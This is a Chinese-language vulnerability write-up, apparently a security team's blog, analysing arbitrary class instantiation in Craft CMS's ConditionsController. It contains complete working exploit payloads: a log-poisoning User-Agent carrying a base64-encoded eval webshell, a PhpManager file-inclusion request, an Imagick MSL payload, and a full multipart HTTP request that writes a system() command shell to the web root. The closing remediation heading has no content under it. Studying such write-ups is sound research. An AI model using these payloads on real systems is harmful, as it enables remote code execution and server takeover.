“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
前言
这个点在php的ctf考题中其实多次出现,也很久没有审计php的源代码了,捡回一些以前的知识,这也是我工作后的第一个php审计的文章。主要从以下几点进行分析
为什么会存在任意类的实例化?
怎么利用这个任意类的实例化?
如何修复这个漏洞?
https://github.com/advisories/GHSA-4w8r-3xrw-v25g 通过修复补丁可以看到存在漏洞的文件为 src/controllers/ConditionsController.php 在yii的路由处理中,会优先处理处理该controller下的beforeAction()方法
请求首页index查看一下调用beforeAction()调用栈,会优先调用Controller自己实现的beforeAction()后再进行父类beforeAction()的依次调用..
Controller.php:222, yii\web\Controller->beforeAction()
Controller.php:131, craft\web\Controller->beforeAction()
TemplatesController.php:75, craft\controllers\TemplatesController->beforeAction()
Controller.php:176, yii\base\Controller->runAction()
Module.php:552, yii\base\Module->runAction()
Application.php:304, craft\web\Application->runAction()
Application.php:103, yii\web\Application->handleRequest()
Application.php:289, craft\web\Application->handleRequest()
Application.php:384, yii\base\Application->run()
index.php:12, {main}()
在这里发现\craft\controllers\ConditionsController::beforeAction()方法里存在任意类的实例化,但是这个其实并不是直接跟着调用链可以看出来的,利用了php类里的一些魔术方法,所以这里的思路算是比较有特点可以学习的地方。
\craft\controllers\ConditionsController::beforeAction()
在这个方法里接受了传来的参数,并带入到41行和42行方法中进行调用
因为利用点是任意类的实例化,所以利着重跟进分析一下41行和42行。由于传入的参数均是我们可控的,所以就不在后续过多的阐述参数问题。
41行 => $this->_condition = $conditionsService->createCondition($config);
从名字上就可以看出它是用来创造Condition类实例的,看一下整个代码的流向。跟进后createCondition()后发现实例化出来的类必须是实现了ConditionInterface的接口的,也就是说在这个地方还不能让我们任意类进行实例化,存在类型接口限制。
在进一步createObject()的实现如果参数里有class或__class就会调用容器里去获取对应的实例。这个实现就是springboot的ioc控制反转,把类交给容器创建然后去容器里取。get()方法中若取不到则调用$this->build()进行类的实例化并赋值。
其实到目前为止上面的分析也就分析出了创建了一个实现了ConditionInterface接口的子类对象。
42行 => Craft::configure($this->_condition, $baseConfig);
其实非常简单,就是对这个类重新赋值(因为在刚刚最后创建对象的时候,有个循环也给对象属性赋值了)
这两行分析完了以后,分析出来的只有一个ConditionInterface接口的子类对象实例化并赋值,在我们面前呈现的并没有”任意类”的实例化这个利用点。那利用点在哪?对于php类的玩法,离不开php的魔术方法,赋值操作很容易想到的就是__set()方法。 > 在给不可访问(protected 或 private)或不存在的属性赋值时__set() 会被调用。
由于刚刚分析了两行代码,发现实例化的对象一定是ConditionInterface的子类,而通过类图关系可以知道其对应的父类BaseCondition是继承至yii\base\Component的。那么也就是说对一个不存在的成员变量赋值,会调用到yii\base\Component::__set()
\yii\base\Component::__set
如果参数名由as开头,那么会调用到Yii::createObject($value),这里就不在走一遍了,因为其实刚刚到beforeAction()也有过这个方法,但是是由于没有经过createCondition方法,所以没有子类限制从而达到了任意类的实例化了!
怎么利用这个任意类的实例化?
我这里有两个思路: 1. 项目本身利用:代码中是否存在__destruct()和__contruct()可以利用的方法 2. 语言本身利用:php原声类利用(ctf很喜欢考)
FnStream
\GuzzleHttp\Psr7\FnStream::__destruct
这个利用的就是项目本身存在的利用点,该函数在销毁时会调用call_user_func()进行一个任意函数的执行。
poc:
// 自己的
action=conditions/render&ba3s=craft\elements\conditions\ElementCondition&config={"name":"ba3s","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":"phpinfo"}]}}
// 网上的
action=conditions/render&ba3s=craft\elements\conditions\ElementCondition&config={"name":"ba3s","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"ba3s":null}],"_fn_close":"phpinfo"}}
其实这两个poc是一样的,但是为什么我的参数比它的参数少,其实只要好好读刚刚的代码就知道为什么了。网上的poc利用的是在实例化后,在build()方法中仍然会给对象的属性赋值,所以只要构造函数的参数满足条件成功实例化对象。那么赋值完成后,当类被销毁时就会触发__destruct()同样会有_fn_close=phpinfo的属性。 而我的poc是直接在实例化时__construct()方法中就对他进行实例化,其实两个达到的效果是一样的。
但是这个利用只能停留在poc阶段,因为它的__destruct方法只接受一个参数,也就是说只能执行phpinfo()这类无参数的方法,而像eval($cmd)就无法执行了。
BaseObject
yii\base\BaseObject::__construct
这个利用还不能单纯的去找__contruct()和__destruct()方法,类的调用关系更复杂,但是去找这两个方法目标点是没错的。该类的__construct()方法中调用了刚刚分析beforeAction()时也调用了的方法configure()进行对类属性的赋值。并且存在$this->init()的调用,但是在这个类了的init()方法是空的。
那么这里寻找的条件就有以下几点: 1. BaseObjec的子类 2. 没有__contruct()方法 => 这样才能调用父类BaseObject的__contruct() 3. 重写了init()方法且内部可利用 => 因为父类BaseObject的init()为空
那么就找到了\yii\rbac\PhpManager::init方法,该方法在内部调用了load()进而调用\yii\rbac\PhpManager::loadFromFile方法可以进行文件包含。 (我只能说这个都能找到是真tm牛逼)
和之前流程分析的一样,开始调用yii\di\Container->build()后,对PhpManager进行初始化操作,但是由于它没有自己的__construct(),于是调用父类的yii\base\BaseObject->__construct()进行初始化,于是就来到了上图所说的流程。所以完整的调用栈是这样:
PhpManager.php:783, yii\rbac\PhpManager->loadFromFile()
PhpManager.php:720, yii\rbac\PhpManager->load()
PhpManager.php:93, yii\rbac\PhpManager->init()
BaseObject.php:109, yii\base\BaseObject->__construct()
Container.php:411, ReflectionClass->newInstanceArgs()
Container.php:411, yii\di\Container->build()
Container.php:170, yii\di\Container->get()
BaseYii.php:365, yii\BaseYii::createObject()
Component.php:191, yii\base\Component->__set()
BaseYii.php:558, yii\BaseYii::configure()
ConditionsController.php:42, craft\controllers\ConditionsController->beforeAction()
Controller.php:176, yii\base\Controller->runAction()
Module.php:552, yii\base\Module->runAction()
Application.php:304, craft\web\Application->runAction()
Application.php:633, craft\web\Application->_processActionRequest()
Application.php:283, craft\web\Application->handleRequest()
Application.php:384, yii\base\Application->run()
index.php:12, {main}()
那有文件包含了,该包含哪里的文件呢?那第一想到的绝对是日志文件,yii的Logging | Craft CMS Documentation | 4.x 日志文件时是放在storage/logs/目录下的,可以看到里面有报错的调用栈以及请求的相关信息。那么请求的时候只需要携带木马包含文件即可
发送任意请求携带php木马信息,就会被记录到日志中
User-Agent: <?php `echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=\|base64 -d>shell.php`;?>
此时只需要调用这个利用链包含日志文件,即可执行我们的php代码。使用exp访问即可:
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/www/html/craft/storage/logs/web-2023-09-26.log"}]}}
Imagick 加载临时文件
这里有两个关于这个类的利用文章,这里不做深入探讨,感兴趣的可以了解一下php原生类,其实还有很多利用点,简单说一下前置知识。 1. https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ 2. 任意代码执行下的php原生类利用
1.MSL: MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read>和<write>可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell
2.vid协议: ImageMagick中有一个协议vid,会调用 ExpandFilenames 函数,可以用于包裹其他协议或者文件名,其增加了对 glob 通配符的支持,这样我们就可以通过*的方式来包含一些我们不知道完整文件名的文件
那么通过上面即可知道new Imagick('vid:msl:/tmp/php*');让 Imagick 加载并解析 PHP 上传的临时文件。 1. <read>标签可以读取一个图片,图片可以来自于远程http,也可以来自于本地 2. <write>标签可以将前面获取的图片写入到另一个位置,而且文件名可控 3. <comment>标签可以给生成的图片加注释,所以我们将Webshell编码后放在这个标签里即可
同样我们也不违背刚刚所挖掘的思路,寻找的是__contruct()和__destruct()利用点,看一下这个类的__contruct(),下图中可以看到它的构造函数只有一个参数,可以是字符串或字符串数组,只不过这个挖是挖不出来的,这就是平时的利用链罢了,例如反序列化的,平时没有用,关键时候就站出来了…
利用这个服务器上得开启一下这个扩展,我在本地mac先安装一下:
brew update
brew install imagemagick
pecl install imagick
一种方法就是利用本地图片,这个利用是什么意思呢?举个例子,比如写死的后缀名上传文件,这时候只能穿图片,利用这个poc就可以将你的图片变成shell木马了。
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/usr/share/doc/ImageMagick-7/www/wand.png"/>
<comment>HTML实体编码后的Webshell</comment>
<write filename="shell.php" />
</image>
下面是要重点说的方法就是使用caption:和info:协议
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 192.168.111.178:8080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 850
----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"
conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"
craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"
{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_REQUEST['cmd']); ?>"/>
<write filename="info:/var/www/html/craft/web/shell.php">
</image>
----------------------------974726398307238472515955--
如何修复这个漏洞?